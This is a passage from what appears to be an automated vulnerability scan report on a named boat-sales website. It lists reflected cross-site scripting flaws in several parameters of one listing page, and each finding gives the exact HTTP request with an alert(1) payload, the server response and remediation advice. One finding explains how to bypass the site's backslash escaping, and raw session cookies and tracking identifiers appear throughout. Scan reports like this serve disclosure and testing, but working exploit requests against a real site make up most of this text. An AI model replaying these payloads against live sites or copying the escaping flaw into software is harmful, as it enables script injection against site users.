savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:25:18 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the hosturl request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5ba2e\'%3balert(1)//12eed5eda57 was submitted in the hosturl parameter. This input was echoed as 5ba2e\\';alert(1)//12eed5eda57 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /core/listing/pl_boat_detail.jsp?hosturl=galatiyachts5ba2e\'%3balert(1)//12eed5eda57&checked_boats=2030202&featuredon=yw-en-TX&slot=1&slim=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:25:25 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the hosturl request parameter is copied into an HTML comment. The payload 14df6--><script>alert(1)</script>cc1cf759883 was submitted in the hosturl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /core/listing/pl_boat_detail.jsp?hosturl=galatiyachts14df6--><script>alert(1)</script>cc1cf759883&checked_boats=2030202&featuredon=yw-en-TX&slot=1&slim=broker HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:26:04 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the id request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d5b8d'%3balert(1)//42acd5e65a8 was submitted in the id parameter. This input was echoed as d5b8d';alert(1)//42acd5e65a8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/listing/pl_boat_detail.jsp?&units=Feet&id=2223519d5b8d'%3balert(1)//42acd5e65a8&lang=en&slim=broker&&hosturl=starlingmarine&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.2.10.1296155835; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296155874806%7C1298747874806%3B%20s_lv%3D1296155874808%7C1390763874808%3B%20s_lv_s%3DFirst%2520Visit%7C1296157674808%3B
Response
HTTP/1.1 500 Internal Server Error Date: Thu, 27 Jan 2011 19:38:28 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 18894
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "2223519d5b8d';alert(1)//42acd5e65a8"<br> ...[SNIP]...
3.441. http://www.yachtworld.com/core/listing/pl_boat_detail.jsp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.yachtworld.com
Path:
/core/listing/pl_boat_detail.jsp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91067"><script>alert(1)</script>3f72445dc2d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_boat_detail.jsp?&units=Feet&id=2047906&lang=en&slim=broker&&hosturl=starlingmarine&&ywo=starlingmarine&&91067"><script>alert(1)</script>3f72445dc2d=1 HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.1.10.1296155835; s_pers=%20s_nr%3D1296155836661%7C1298747836661%3B%20s_lv%3D1296155836663%7C1390763836663%3B%20s_lv_s%3DFirst%2520Visit%7C1296157636663%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:38:55 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 11979
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the slim request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 61bcb"><script>alert(1)</script>a4d63d652b7 was submitted in the slim parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_boat_detail.jsp?&units=Feet&id=2223519&lang=en&slim=broker61bcb"><script>alert(1)</script>a4d63d652b7&&hosturl=starlingmarine&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.2.10.1296155835; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296155874806%7C1298747874806%3B%20s_lv%3D1296155874808%7C1390763874808%3B%20s_lv_s%3DFirst%2520Visit%7C1296157674808%3B
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:38:34 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 14131
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the slim request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 38520\'%3balert(1)//6db13835044 was submitted in the slim parameter. This input was echoed as 38520\\';alert(1)//6db13835044 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /core/listing/pl_boat_detail.jsp?&units=Feet&id=2223519&lang=en&slim=broker38520\'%3balert(1)//6db13835044&&hosturl=starlingmarine&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.2.10.1296155835; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296155874806%7C1298747874806%3B%20s_lv%3D1296155874808%7C1390763874808%3B%20s_lv_s%3DFirst%2520Visit%7C1296157674808%3B
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:38:36 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 13960
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the slim request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 9c2e4'><script>alert(1)</script>76c7183d2c0 was submitted in the slim parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_boat_detail.jsp?&units=Feet&id=2223519&lang=en&slim=broker9c2e4'><script>alert(1)</script>76c7183d2c0&&hosturl=starlingmarine&&ywo=starlingmarine& HTTP/1.1 Host: www.yachtworld.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: yw_c_id=5778232892790151794; __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.2.10.1296155835; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296155874806%7C1298747874806%3B%20s_lv%3D1296155874808%7C1390763874808%3B%20s_lv_s%3DFirst%2520Visit%7C1296157674808%3B
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:38:34 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 14132
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the units request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload fdb8d'><script>alert(1)</script>af85dfb6474 was submitted in the units parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /core/listing/pl_boat_detail.jsp?sponsored=true&units=Feetfdb8d'><script>alert(1)</script>af85dfb6474&checked_boats=2212114&slim=broker&&hosturl=denisonyachtsales&ywo=denisonyachtsales HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; 